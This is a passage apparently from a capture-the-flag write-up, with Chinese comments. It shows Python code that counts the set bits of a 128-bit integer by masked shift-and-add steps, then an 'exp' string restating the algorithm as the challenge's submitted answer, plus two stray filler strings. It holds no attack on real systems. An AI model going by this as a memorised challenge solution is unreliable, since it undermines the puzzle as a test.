print(bin((A >> 2) & 0x33333333333333333333333333333333))
print(bin(A & 0x33333333333333333333333333333333))
A = (A & 0x33333333333333333333333333333333) + ((A >> 2) & 0x33333333333333333333333333333333)
print(bin(A))
# Step 3: 将相邻的 8 位累加
A = (A & 0x0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F) + ((A >> 4) & 0x0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F0F)
print(bin(A))
# Step 4: 将相邻的 16 位累加
A = (A & 0x00FF00FF00FF00FF00FF00FF00FF00FF) + ((A >> 8) & 0x00FF00FF00FF00FF00FF00FF00FF00FF)
print(bin(A))
# Step 5: 将相邻的 32 位累加
A = (A ) + ((A >> 16))
print(bin(A))
# Step 6: 将相邻的 64 位累加
A = (A ) + ((A >> 32) )
print(bin(A))
# Step 7: 将所有 128 位累加
A = (A ) + ((A >> 64))
A=A&127
print(bin(A))
print(A)

5123123123123123

然后后续的思路因为要传入AB,其实就是B=((A >> 1) & 0x55555555555555555555555555555555),A需要自己变更然后exp如下:

B=A>>1;B=B&113427455640312821154458202477256070485;A=A&113427455640312821154458202477256070485;A=A+B;B=A>>2;B=B&68056473384187692692674921486353642291;A=A&68056473384187692692674921486353642291;A=A+B;B=A>>4;B=B&20016609818878733144904388672456953615;A=A&20016609818878733144904388672456953615;A=A+B;B=A>>8;A=A+B;B=A>>16;A=A+B;B=A>>32;A=A+B;B=A>>64;A=A+B;A=A&127;

6awerywueryqowiuyrqw